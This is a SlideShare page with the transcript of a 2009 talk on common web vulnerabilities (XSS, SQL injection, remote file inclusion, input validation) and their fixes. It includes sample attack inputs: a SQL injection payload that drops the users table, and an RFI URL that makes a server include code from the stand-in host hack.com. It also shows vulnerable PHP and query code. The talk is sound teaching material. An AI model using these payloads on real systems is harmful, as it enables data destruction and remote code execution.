• Share
  • Email
  • Embed
  • Like
  • Save
  • Private Content
Security Tech Talk
 

Security Tech Talk

on

  • 1,640 views

Describes the most common web vulnerabilities and solutions for the same

Describes the most common web vulnerabilities and solutions for the same

Statistics

Views

Total Views
1,640
Views on SlideShare
1,584
Embed Views
56

Actions

Likes
1
Downloads
36
Comments
0

3 Embeds 56

http://codeinspections.blogspot.com 52
http://codeinspections.blogspot.in 3
http://testwind.infospace.com 1

Accessibility

Categories

Upload Details

Uploaded via as Microsoft PowerPoint

Usage Rights

© All Rights Reserved

Report content

Flagged as inappropriate Flag as inappropriate
Flag as inappropriate

Select your reason for flagging this presentation as inappropriate.

Cancel
  • Full Name Full Name Comment goes here.
    Are you sure you want to
    Your message goes here
    Processing…
Post Comment
Edit your comment

    Security Tech Talk Security Tech Talk Presentation Transcript

    • Web Security: Tech Talk Mallik http://codeinspections.blogspot.com March 20 th , 2009
    • Introduction
      • Web applications are accessible openly on web there by making it more prone to hacking.
      • Web Developers are not well versed with security issues because of which the applications are prone to vulnerabilities.
      • Web applications run in the browser, any security loop hole in browser will lead to exploiting vulnerability in web application.
    • Where do security bugs hide ? Functional Bugs Security Bugs Design Implementation
    • Web Vulnerabilities
      • XSS (Cross Site Scripting) Attack [44%]
      • SQL Injection [25%]
      • Input Validation [8%]
      • Remote File Inclusion [17%]
      • Cookie Theft [3%]
    • XSS (Cross Site Scripting)
      • XSS : code injection by malicious web users into the web pages.
      • Non Persistent: These holes show up when data provided by a web client is used immediately by server-side scripts to generate a page of results for that user.
      • Ex: Search Engines [exploits using social engineering]
      • Example
      • Persistent: XSS vulnerability that exists when data provided to a web application by a user is stored persistently on the server
      • Ex: Blogger Comments
      • Example
    • XSS (Cross Site Scripting)
      • Exploits
      • Session Hijacking / Cookie Theft [ Example ]
      • Redirecting the page to hacker’s desired location [persistent]
      • [ Example ]
    • Preventing XSS
      • Escaping/Filtering Some of characters like <,> as we do for Portal Application
      • Replacing characters < with &lt; and > with &gt;
      • Both the above solutions prevent users from entering rich HTML content which is required for many web 2.0 Products
      • Escape HTML tags which can be malicious like <script>, <meta> etc. Blogger, MySpace are some with this kind of implementation.
    • SQL Injection
      • SQL Injection is a security vulnerability occurring in the DB layer. It is method to inject SQL command/query through the webpage. Hacker can come up with an intelligent input which may cause the application to do what it is not supposed to do.
      • Examples:
      • Incorrect escaping/Filtering:
      • Query: statement = &quot;SELECT * FROM users WHERE name = '&quot; + userName + &quot;';&quot;
      • Hacker’s input: a’ OR ‘x’=x
      • Final Statement = SELECT * FROM users WHERE name = ‘a’ OR ‘x’=x’;
    • SQL Injection
      • More Serious attack:
      • Query: statement = &quot;SELECT * FROM users WHERE name = '&quot; + userName + &quot;';&quot;
      • Hacker’s input: a’; Drop Table Users; Select * from Users where name like ‘%
      • Final Statement = SELECT * FROM users WHERE name = ‘ a’; Drop Table Users; Select * from Users where name like ‘% ’
    • Preventing SQL Injection
      • Escaping Special Characters
      • Error-prone way to prevent injections is to escape dangerous characters.
      • - Replacing ‘ with ‘’
      • - In MYSQL, use mysql_real_escape_string() to escape special characters
      • Using Parameterized Statements
      • myCommand = new SqlCommand(&quot;SELECT * FROM USERS WHERE USERNAME=@username AND PASSWORD= @password&quot;, myConnection)) {
      • myCommand.Parameters.AddWithValue(&quot;@username&quot;, user); myCommand.Parameters.AddWithValue(&quot;@password&quot;, pass);
    • Remote File Inclusion
      • RFI vulnerabilities allow hackers to run their code on the web servers.
      • XSS is code injection on client side, whereas RFI is on server side.
      • Bad coding practice where filenames were sent as Query parameters can be used as any normal variable in the code.
      • This was one of common PHP vulnerabilities in early days.
    • RFI Example
      • <?php
      • $file=$_REQUEST[‘file’];
      • include ($file.&quot;php&quot;);
      • ?>
      • URL: http://test.com/test.php?file=http://hack.com/hack.php?
      • The code in hack.php would get executed on the server
    • Input Validation
      • Most of security vulnerabilities are because of Hacky input.
      • Input Validation on Client Side (javascript) alone will not suffice. We need to have check for user input on both Client and Server.
      • Hacker can disable the checks on client side and send invalid input to Server Side. ( Example )
      • Example:
      • Shopping site example about how serious a attack can be if there is no server side check.
    • Security Vulnerability Via Browser Bugs
      • Browser bugs can sometimes lead to finding vulnerabilities in the Web Applications
      • Example is Cross-Domain XMLHTTP Vulnerability in First version of Chrome
      • What is Cross-Domain XMLHTTP ?
      • What was bug in Chrome Version 1.0 ?
      • Example
    • Lessons to Learn
      • Web Security is not Rocket science
      • Validate Input
      • Validate output
      • Watch for New Security Attacks and how they affect your products
    • Thank You